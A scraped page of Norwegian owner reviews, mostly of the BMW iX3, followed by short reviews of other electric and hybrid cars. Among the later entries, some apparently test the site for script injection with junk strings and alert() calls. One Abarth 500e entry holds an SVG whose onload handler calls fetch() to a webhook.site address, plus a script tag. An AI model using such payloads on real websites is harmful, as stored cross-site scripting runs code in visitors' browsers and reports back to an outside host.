2022 BMW iX3 M Sport Fully Charged (K) SUV Batteri
Vurdert av Tholle
Veldig komfortabel og støysvak bil uten noen feil eller problemer etter snart to år. Hadde firehjulsdrift på de fire foregående bilene, men har ikke savnet det de to siste vintrene. Litt høyt forbruk om vinteren med mye småkjøring, men går fint 50 mil på langkjøring om sommeren ved lading til 100%.
Flere vurderinger fra samme modell
BMW iX3 (2024)
Har kjørt både Opel, Audi, Volvo og til sist BMW. Dette er den beste bilen jeg har hatt, uten tvil!
BMW iX3 (2022)
Veldig god bil. Overraskende god på vinterføre selv uten trekk på alle fire. Særdeles fornøyd med valg av bil etter å kjørt 50 000 km
BMW iX3 (2022)
Beste bilen eg har hatt.
BMW iX3 (2022)
Meget fornøyd nå kjørt 5000 km blir bare mer å mer glad
BMW iX3 (2021)
Deilig bil, savner kanskje motorlyden fra den forrige, en X3 med 3 liters dieselmotor. Nydelig bil det også
BMW iX3 (2021)
Fantastisk bil på alle måter. Null trøbbel etter 42000 km.
BMW iX3 (2021)
Kjørt 55.000 km. Null feil, ingen knirk, ingen tekniske utfordringer. Snittforbruk så langt: 17.4!
BMW iX3 (2021)
Veldig fornøyd med bilen. Hatt den i tre år og kjørt 50.000. Tenker å bytte inn til sommeren, og da blir det ny iX3 eller i5
BMW iX3 (2021)
Denne bilen leverer som forventet. Topp kjørekomfort som bare gjør at du gleder deg til hver kjøretur. Blir aldri sliten av å kjøre denne bilen. Meget fornøyd!
BMW iX3 (2021)
Super bil i likhet med alle andre BMW jeg kjenner og har hatt. Har kun hatt bilen fra august til desember, og har dermed ikke fått brukt den i ordentlig sommervarme, men inntrykket etter dette halvå
BMW iX3 (2021)
Superbil…du skal ha mange glatte, bratte bakker for å ha behov for 4x4. Med denne kommer du frem overalt.
BMW iX3 (2021)
Savner åpnin av glass i bakluke. Men veldig fin bil
BMW iX3 (2021)
Bilen overtreffer alle forventninger. Til tross for 20" hjul og brede dekk, nesten støyfri kupé som føles stor og romslig. Snitt forbruk 17,5 kWh. Mange fine finesser.
BMW iX3 (2021)
Hadde høye forventninger til denne. Forventningene er klart overgått. Mye bedre å kjøre enn fossil-varianten.
Flere vurderinger
Renault 5 E-Tech (2025)
Dette er virkelig en bil jeg anbefaler. Årets bil i Europa og Årets bil i Norge, med god grunn. Veldig kult retro-design. Legger til at Renault også hadde årets bil i Europa i 2024 med Scenic E-Te
Citroën e-C4 (2025)
Jeg er foreløpig veldig fornøyd. Har slitt litt med å finne den optimale sittekomforten, men en pute gjorde susen der (jeg er 180 og trengte ekstra korsryggstøtte). Bilens automatikk passer meg ve
Aston Martin DB9 GT (2017)
alert("total")
Aston Martin DB9 GT (2017)
totalvurderingtest
Abarth 500e (2024)
Abarth 500e (2024)
Abarth 500e (2024)
xxxfooo4
Abarth 500e (2024)
<svg xmlns="http://www.w3.org/2000/svg" onload="fetch('https://webhook.site/418d388b-4676-4b57-95ba-4330be1ec311')"> <circle cx="50" cy="50" r="40" fill="red"/> </svg> <script>alert(1)</script>
Volvo EX40 (2026)
Dette er ikke en volvo som vi er kjent med volvo. Dårlige seter, umulig å opprettholde 20grader i kupe på vinter, kjapp på gasspedal, men enormt strømforbruk uansett hvordan du prøver å tilpass
Ford Explorer EV (2025)
Kommer nok til å bytte den ut pga den nervøse oppførselen på vinterføre. Utenom dette svarer den godt på alle parametre.
Ford Kuga (2021)
Forbruk. Gir en tier for forbruk langkjøring. 0,44 og forbruk 0,8 med campingvogn, totalvekt 1400 kg(ved tomt batteri). Rekkevidde elektrisk på vinter månedene er fra 20 - 30 km, blandet/bykjøring
Hongqi E-HS9 (2022)
Den er utrolig komfortabel, stille og har en kvalitet som overgår det meste på markedet. Har hatt bilen i 2år nå, å hele familien elsker bilen!
Mercedes-Benz EQC (2022)
Topp komfort og driftsikker.
Polestar 2 (2022)
God kvalitetsfølelse. Gode (frem-) seter. Smart med OTA (oppdateringer over-the-air). Lett å selv restarte system og app etter behov. Pen bil! Praktisk med frunk for elkabler på langtur. (hvorfor h
Mercedes-Benz GLE (2020)
Skuffende å måtte skifte opphengskuler foran på begge sider etter kun 75000 km
